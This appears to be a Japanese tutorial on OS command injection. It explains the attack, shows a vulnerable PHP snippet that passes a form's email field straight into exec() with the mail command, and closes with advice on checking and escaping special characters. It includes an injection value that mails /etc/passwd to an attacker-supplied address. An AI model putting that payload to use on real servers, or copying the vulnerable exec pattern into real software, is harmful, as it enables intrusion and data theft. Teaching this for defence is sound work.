OSコマンドインジェクション
OSコマンドインジェクションは、Webサイトに向けて不正な入力を行うことにより、Webサーバ側で想定していない動作をさせるサイバー攻撃です。
入力を受け付けるWeb画面を主なターゲットとし、ユーザーからのデータや数値の入力に紛れ込ませて、プログラムに与えるパラメータ(入力値)にOSへの命令文(コマンド)を渡します。この命令文を受け取ったWebサーバが誤ってOSに対する命令を行ってしまうことで被害が発生する攻撃です。
OSコマンドインジェクションの仕組み
① 攻撃者がWebアプリケーションに攻撃パターンを入力
② Webアプリケーション内で入力値とともにコマンド文字列が組み立てられる
③ コマンド文字列がWebサーバのシェルにおいて解釈されて実行される
④ 開発者が意図しないコマンドが実行される
OSコマンドインジェクションが発生するプログラム1
Webアプリケーションの画面があり、メールアドレスを入力して実行すると、Webサーバ上でmailコマンドを利用してメールを送信する仕組みがあります。
OSコマンドインジェクションへの対策が行われていない場合、この仕組みを脆弱性として悪用し情報漏えい、改ざん・削除が行われる可能性があります。なお、mailコマンドはLinuxやWindowsPowerShellで利用可能なメール送信を行うコマンドです。
OSコマンドインジェクションが発生するプログラム2
その例が、以下のようなプログラムです。下記の例では、メールの本文となるメッセージは別ファイル(/var/data/aaa.txt)が準備されています。
入力されたメールアドレスとともに、メール送信コマンドを実行することでメールが送信されます。
OSコマンドインジェクションが発生するプログラム3
$address = $_POST[‘address’]; //画面入力値からメールアドレスを取得
$message_file = “/var/data/aaa.txt”; //メールの本文をファイルより取得
$rtn = exec(‘mail -s “タイトル” ’.$address.’< ‘.$message_file); //mailコマンドの実行
ここで、入力値「address」に不正な文字列が入っていないかをチェックしていない場合には、以下のような入力をされてしまうことがありえます。
xxx@example.com < /etc/passwd #
すると、プログラム上のexec内は上の値が入力されて、以下のOSコマンドが実行されるようになります。
mail -s “タイトル” xxx@example.com < /etc/passwd #< /var/data/aaa.txt
OSコマンドとして上記の命令を行った場合、「#< /var/data/aaa.txt」の部分はコメントと解釈されるため、実際に実行されるコマンドは以下となります。
mail -s “タイトル” xxx@example.com < /etc/passwd
この結果、/etc/passwdの内容が入力されたメールアドレス宛に流出します。
※/etc/passwdはLinuxの一部でパスワードを格納するファイル
対策
ユーザからの入力値がある場合は、入力値内に想定しない特殊文字(「;」や「<」など)が存在するかどうかをチェックします。これらの特殊文字が入力された場合は、特殊文字を無効化(エスケープ)したり、プログラムの処理を中断するようにします。